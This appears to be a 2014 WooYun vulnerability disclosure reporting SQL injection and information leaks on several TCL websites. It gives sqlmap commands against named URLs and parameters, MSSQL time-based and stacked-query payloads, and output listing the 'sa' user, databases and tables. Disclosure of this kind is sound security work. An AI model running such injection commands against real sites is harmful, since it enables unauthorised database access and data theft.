漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-047302
漏洞标题:TCL#多个分站漏洞大礼包(SQL注射、信息泄露)
相关厂商:TCL官方网上商城
漏洞作者: Mr.leo
提交时间:2014-08-11 12:57
修复时间:2014-09-25 12:58
公开时间:2014-09-25 12:58
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
									2014-08-11:	细节已通知厂商并且等待厂商处理中
									2014-08-11:	厂商已经确认,细节仅向厂商公开
									2014-08-21:	细节向核心白帽子及相关领域专家公开
									2014-08-31:	细节向普通白帽子公开
									2014-09-10:	细节向实习白帽子公开
									2014-09-25:	细节向公众公开
								
简要描述:
TCL#多个分站漏洞大礼包(SQL注射、信息泄露)
详细说明:
站点:
http://cts.tcl.com  员工绩效管理系统
 WooYun: TCL漏洞3之某系统高权限SQL注射可以直接执行系统命令  属于同一站点,原漏洞利用是POST提交方式,不过经过测试,GET方式也存在相应问题,还有就是post方式也没有修复好。
注入点:
sqlmap.py -u "http://cts.tcl.com/AjaxHelper/AjaxHelper.aspx?method=login&PassWord=e&UserName=e" -p "UserName"--dbs --current-user --current-db
直接上sqlmap-log
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
current user:    'sa'
current database:    'TCL_CTS'
available databases [20]:
[*] appjob
[*] dbAudit
[*] dbGLS
[*] dbSurvey
[*] dbVQ
[*] EHR4
[*] EHR5
[*] EHR6
[*] HRDB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SAP_SAGEM
[*] TCL_CTS
[*] TCL_CTS_TEST
[*] TCL_OQSS
[*] tempCts
[*] tempdb
时间延时注入,比较慢就没有深入了。
站点2:
http://www.tclrf.com  惠州TCL王牌高频电子有限公司
class_1参数没有过滤,导致注射
Sqlmap -u "http://www.tclrf.com/product.php?class_1=5&class_2=5"
  --dbs --current-user --current-db
Database: tclrf
[31 tables]
+---------------+
| hyyy_ad       |
| hyyy_dept     |
| hyyy_dept_c1  |
| hyyy_dept_c2  |
| hyyy_dept_c3  |
| hyyy_dept_msg |
| hyyy_epe      |
| hyyy_epe_c1   |
| hyyy_epe_c2   |
| hyyy_epe_c3   |
| hyyy_feedback |
| hyyy_info     |
| hyyy_link     |
| hyyy_link_c1  |
| hyyy_log      |
| hyyy_master   |
| hyyy_msg      |
| hyyy_news     |
| hyyy_news_c1  |
| hyyy_news_c2  |
| hyyy_pro      |
| hyyy_pro_c1   |
| hyyy_pro_c2   |
| hyyy_pro_c3   |
| hyyy_prod     |
| hyyy_prod_c1  |
| hyyy_prod_c2  |
| hyyy_prod_c3  |
| hyyy_staff    |
| hyyy_staff_c1 |
| hyyy_staff_c2 |
+---------------+
站点3:
http://bbs.tcl.com TCL内部论坛
hotel_id存在遍历漏洞,替换数字可以看见相关信息泄露
http://bbs.tcl.com/tcl_signed_hotel/hoteldetail.aspx?hotel_id=31 
站点:
tech.tcl.com
由于网站没有设置robots.txt,导致被搜索引擎抓取信息,导致信息泄露
整站都检查一下吧。就不深入了。
over
 
漏洞证明:
已经证明
修复方案:
1#过滤get和post方式的注入漏洞
2#屏蔽敏感信息泄露
 
版权声明:转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-08-11 16:21
厂商回复:
感谢您的关注,已转交相关单位处理。
最新状态:
暂无

                


